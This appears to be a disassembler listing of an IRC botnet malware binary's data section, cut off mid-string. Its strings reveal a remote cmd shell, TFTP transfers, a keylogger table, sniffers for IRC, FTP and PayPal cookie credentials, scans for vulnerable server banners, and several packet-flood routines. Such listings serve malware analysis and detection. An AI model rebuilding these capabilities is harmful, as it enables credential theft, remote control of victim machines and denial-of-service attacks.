dword_43465C	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_4101FC+BBo
aClientConnecti	db '- client connection from %s:%d.',0
unk_434688	db  2Dh	; -		; DATA XREF: sub_4103AA+15Eo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_38	db 'Failed to start client thread, error: <%d>.',0
unk_4346C4	db  2Dh	; -		; DATA XREF: sub_4103AA+E9o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aClientConnec_0	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_43470C	db  2Dh	; -		; DATA XREF: sub_41053B+1AAo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_39	db 'Failed to start connection thread, error: <%d>.',0
unk_43474C	db  2Dh	; -		; DATA XREF: sub_41053B+E1o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_1	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 10h
unk_434790	db  2Dh	; -		; DATA XREF: sub_4107BF+1E9o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedOutS	db '- User logged out: <%s@%s>.',0
		align 4
unk_4347BC	db  2Dh	; -		; DATA XREF: sub_4107BF+1C2o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorSessionru	db '- Error: SessionRun(): <%d>.',0
		align 4
unk_4347E8	db  2Dh	; -		; DATA XREF: sub_4107BF+1A2o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedInS@	db '- User logged in: <%s@%s>.',0
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: sub_4107BF+172o
		align 4
unk_434824	db  2Dh	; -		; DATA XREF: sub_4107BF+E1o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorGetpeerna	db '- Error: getpeername(): <%d>.',0
		align 10h
unk_434850	db  2Dh	; -		; DATA XREF: sub_4109C4:loc_410A09o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aProtocolString	db '- Protocol string too long.',0
		align 4
unk_43487C	db  2Dh	; -		; DATA XREF: sub_410A1E+1Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aLoginRejectedR	db '- Login rejected, Remote user: <%s@%s>.',0
		align 4
unk_4348B4	db  2Dh	; -		; DATA XREF: sub_410A4D+219o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorServerFai	db '- Error: server failed, returned: <%d>.',0
		align 4
unk_4348EC	db  2Dh	; -		; DATA XREF: sub_410A4D+1FBo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_40	db '- Failed to start client thread, error: <%d>.',0
		align 4
unk_434928	db  2Dh	; -		; DATA XREF: sub_410A4D+177o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aClientConnec_2	db '- Client connection from IP: %s:%d, Server thread: %d.',0
unk_43496C	db  2Dh	; -		; DATA XREF: sub_410A4D+106o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aReadyAndWaitin	db '- Ready and waiting for incoming connections.',0
		align 4
unk_4349A8	db  2Dh	; -		; DATA XREF: sub_410A4D+70o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToInstal	db '- Failed to install control-C handler, error: <%d>.',0
		align 4
unk_4349EC	db  2Dh	; -		; DATA XREF: sub_410A4D+3Do
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorWsastartu	db '- Error: WSAStartup(): <%d>.',0
		align 4
unk_434A18	db  2Dh	; -		; DATA XREF: sub_410CD5+DEo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 4
unk_434A4C	db  2Dh	; -		; DATA XREF: sub_410CD5+59o
					; sub_410CD5+8Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
unk_434A94	db  2Dh	; -		; DATA XREF: sub_410E26+AFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
unk_434ABC	db  2Dh	; -		; DATA XREF: sub_410E26+7Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 4
unk_434AFC	db  2Dh	; -		; DATA XREF: sub_410E26+5Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_434B3C	db  2Dh	; -		; DATA XREF: sub_410F1F+C3o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell, error: <%d>.',0
		align 4
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_410F1F+8Co
		align 4
unk_434B7C	db  2Dh	; -		; DATA XREF: sub_410FF8+A1o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aSessionreadshe	db '- SessionReadShellThread exited, error: <%ld>.',0
dword_434BB8	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_4111CD+1B2o
aFailedToSta_41	db '- Failed to start server on Port %d.',0
		align 4
dword_434BEC	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_4111CD+18Fo
aFailedToSta_42	db '- Failed to start client thread, error: <%d>.',0
		align 4
dword_434C28	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_4111CD+114o
aClientConnec_3	db '- Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
dword_434C6C	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_4113D2+1F9o
aErrorFailedToC	db '- Error: Failed to connect to target, returned: <%d>.',0
		align 10h
dword_434CB0	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_4113D2+18Ao
aErrorFailedToO	db '- Error: Failed to open socket(), returned: <%d>.',0
		align 10h
dword_434CF0	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_4113D2+F2o
aAuthentication	db '- Authentication failed. Remote userid: %s != %s.',0
		align 10h
dword_434D30	dd 4000500h, 7868746Bh,	0 ; DATA XREF: sub_411796+41Co
aTftpTransferCo	db 'Tftp transfer complete to: %s',0 ; DATA XREF: sub_411796+3C4o
		align 4
aTftpTransferSt	db 'Tftp transfer started to: %s',0 ; DATA XREF: sub_411796+2CDo
		align 10h
		dw 8
		unicode	0, <>,0
aB_0:					; DATA XREF: sub_411CF4:loc_411DD7o
		unicode	0, <b>,0
		dd 62000000h, 2	dup(0)
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
dword_435244	dd 0BFh, 2Fh, 2E000000h, 3Fh, 0	; DATA XREF: .packed:off_435DDCo
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h
dword_4354B4	dd 38h,	38000000h, 2 dup(0) ; DATA XREF: sub_411CF4+2B6o
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_4354EC	dd 234032Dh, 6C79656Bh,	302676Fh, 7325202Dh, 0 ; DATA XREF: sub_411C13+AEo
aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_411C13+88o
		align 4
asc_43551C:				; DATA XREF: sub_411C13+2Co
		unicode	0, <\>,0
aSReturnS	db '%s (Return) (%s)',0 ; DATA XREF: sub_411CF4+228o
		align 4
aSBufferFullS	db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_411CF4+1E5o
		align 4
aSChangedWindow	db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_411CF4+8Fo
		align 4
off_435568	dd offset dword_435DE0	; DATA XREF: sub_411FD5+2B9r
		dd offset off_435DDC
		dd offset aFtp		; "FTP"
		dd offset aHttp_0	; "HTTP"
dword_435578	dd 6F6C2E3Ah, 6E6967h, 3 dup(0)	; DATA XREF: sub_411FD5+1DEo
dword_43558C	dd 0			; DATA XREF: sub_411FD5+2B2r
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp_0		db 'HTTP',0             ; DATA XREF: .packed:00435574o
		align 4
aFtp		db 'FTP',0              ; DATA XREF: .packed:00435570o
off_435DDC	dd offset dword_435244+5 ; DATA	XREF: .packed:0043556Co
dword_435DE0	dd 544F42h		; DATA XREF: .packed:off_435568o
dword_435DE4	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_411FD5+317o
aRecvFailedRetu	db '- recv() failed, returned %d',0
		align 10h
dword_435E10	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_411FD5+2C6o
aSuspiciousSPac	db '- suspicious %s packet from: %s:%d - %s',0
dword_435E44	dd 234032Dh, 696E7370h,	3026666h, 2Dh ;	DATA XREF: sub_411FD5+24Co
dword_435E54	dd 4E53505Bh, 5D464649h, 0 ; DATA XREF:	sub_411FD5+235o
dword_435E60	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_411FD5+186o
aWsaioctlFailed	db '- WSAIoctl() failed, returned %d',0
		align 10h
dword_435E90	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_411FD5+103o
aBindFailedRetu	db '- bind() failed, returned %d',0
		align 4
dword_435EBC	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_411FD5+85o
aSocketFailedRe	db '- socket() failed, returned %d',0
		align 4
aHashin		db ':!hashin',0         ; DATA XREF: sub_412360+103o
		align 4
a_hashin	db ':.hashin',0         ; DATA XREF: sub_412360+EEo
		align 10h
aIdent_0	db ':!ident',0          ; DATA XREF: sub_412360+D9o
a_ident		db ':.ident',0          ; DATA XREF: sub_412360+C8o
a_login		db ':.Login',0          ; DATA XREF: sub_412360+B7o
aLogin_0	db ':!Login',0          ; DATA XREF: sub_412360+A6o
aLogin_1	db ':!login',0          ; DATA XREF: sub_412360+95o
a_login_0	db ':.login',0          ; DATA XREF: sub_412360+84o
a366		db '366 ',0             ; DATA XREF: sub_412360+73o
		align 4
a302_0		db '302 ',0             ; DATA XREF: sub_412360:loc_4123C2o
		align 10h
aJoin_0		db 'JOIN #',0           ; DATA XREF: sub_412360+4Do
		align 4
aPsniff_0	db 'PSNIFF//',0         ; DATA XREF: sub_412360+3Co
		align 4
aPsniff_1	db '[PSNIFF]:',0        ; DATA XREF: sub_412360+2Bo
		align 10h
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_412360+5o
		align 4
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_412477+62o
aOper		db 'oper ',0            ; DATA XREF: sub_412477+51o
		align 10h
aNick_1		db 'NICK ',0            ; DATA XREF: sub_412477:loc_4124B7o
					; sub_4124ED+2Bo
		align 4
aOper_0		db 'OPER ',0            ; DATA XREF: sub_412477+2Bo
		align 10h
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_412477+5o
		align 4
aPass_1		db 'PASS ',0            ; DATA XREF: sub_4124ED+73o
		align 4
aUser_3		db 'USER ',0            ; DATA XREF: sub_4124ED+62o
		align 4
a230		db '230 ',0             ; DATA XREF: sub_4124ED:loc_41253Eo
		align 4
a220		db '220 ',0             ; DATA XREF: sub_4124ED+3Co
		align 4
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_4124ED+5o
		align 4
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_412574+73o
aPaypal_com	db 'paypal.com',0       ; DATA XREF: sub_412574+62o
		align 10h
aPaypal_com_0	db 'PAYPAL.COM',0       ; DATA XREF: sub_412574+51o
		align 4
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_412574:loc_4125B4o
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: sub_412574+2Bo
		align 4
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_412574+5o
		align 4
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_4125FB+51o
		align 4
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_4125FB:loc_41263Bo
		align 4
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_4125FB+2Bo
		align 4
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_4125FB+5o
		align 4
unk_436054	db  2Dh	; -		; DATA XREF: sub_412660+3ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVulnSniffSDToS	db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_43608C	db  2Dh	; -		; DATA XREF: sub_412660+382o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aHttpSniffSDToS	db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4360C4	db  2Dh	; -		; DATA XREF: sub_412660+351o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFtpSniffSDToSD	db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_4360F8	db  2Dh	; -		; DATA XREF: sub_412660+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aIrcSniffSDToSD	db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_43612C	db  2Dh	; -		; DATA XREF: sub_412660+2E2o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBotSniffSDToSD	db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_436160	db  2Dh	; -		; DATA XREF: sub_412660+14Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aWsaioctlFail_0	db '- WSAIoctl() failed, returned %d',0
		align 10h
unk_436190	db  2Dh	; -		; DATA XREF: sub_412660+C5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBindFailedRe_0	db '- bind() failed, returned %d',0
		align 4
unk_4361BC	db  2Dh	; -		; DATA XREF: sub_412A53+5Eo
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
dword_4361E4	dd 234032Dh, 736F6464h,	202D0302h, 646E6573h, 72726520h
					; DATA XREF: sub_412B08+302o
		dd 203A726Fh, 6425h
unk_436200	db  2Dh	; -		; DATA XREF: sub_412E9D+397o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aDoneWithSFlood	db 'done with %s flood to %s. sent %d packets @ %dKB/sec (%dMB).',0
		align 4
unk_43624C	db  2Dh	; -		; DATA XREF: sub_412E9D+307o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aErrorSendingPa	db 'error sending packets to %s. %d packets sent, returned %d',0
		align 4
unk_436294	db  2Dh	; -		; DATA XREF: sub_412E9D+12Ao
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidTargetI	db 'invalid target ip',0
		align 4
unk_4362B4	db  2Dh	; -		; DATA XREF: sub_412E9D+C2o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aSetsockoptFail	db 'setsockopt() failed, returned %d',0
		align 4
unk_4362E4	db  2Dh	; -		; DATA XREF: sub_412E9D+49o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aSocketFailed_0	db 'socket() failed, returned %d',0
		align 10h
unk_436310	db  2Dh	; -		; DATA XREF: sub_413284+13Co
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFinishedSendin	db 'finished sending pings to %s',0
		align 4
unk_43633C	db  2Dh	; -		; DATA XREF: sub_413284+6Eo
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aErrorSendingPi	db 'error sending pings to %s',0
		align 4
unk_436364	db  2Dh	; -		; DATA XREF: sub_413410+1C6o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFinishedSend_0	db '- finished sending packets to %s',0
		align 10h
unk_436390	db  2Dh	; -		; DATA XREF: sub_413410+8Eo
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aErrorSending_0	db '- error sending packets to %s',0
		align 4
dword_4363B8	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_413626+4Bo
aDoneWithFloodI	db '- Done with flood (%iKB/sec)',0
		align 4
unk_4363E4	db  2Dh	; -		; DATA XREF: sub_4137CC+4Bo
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aDoneWithFloo_0	db '- Done with flood (%iKB/sec).',0
		align 4
unk_43640C	db  2Dh	; -		; DATA XREF: sub_41386B+27Do
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aSendErrorD_	db '- Send error: <%d>.',0
		align 4
dword_43642C	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_413B77+4Fo
aDoneWithFlood_	db '- Done with flood.',0
		align 4
unk_43644C	db  2Dh	; -		; DATA XREF: sub_413E35+4EBo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aDoneWithSFlo_0	db '- Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 4
unk_43649C	db  2Dh	; -		; DATA XREF: sub_413E35+44Fo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aErrorSending_1	db '- Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
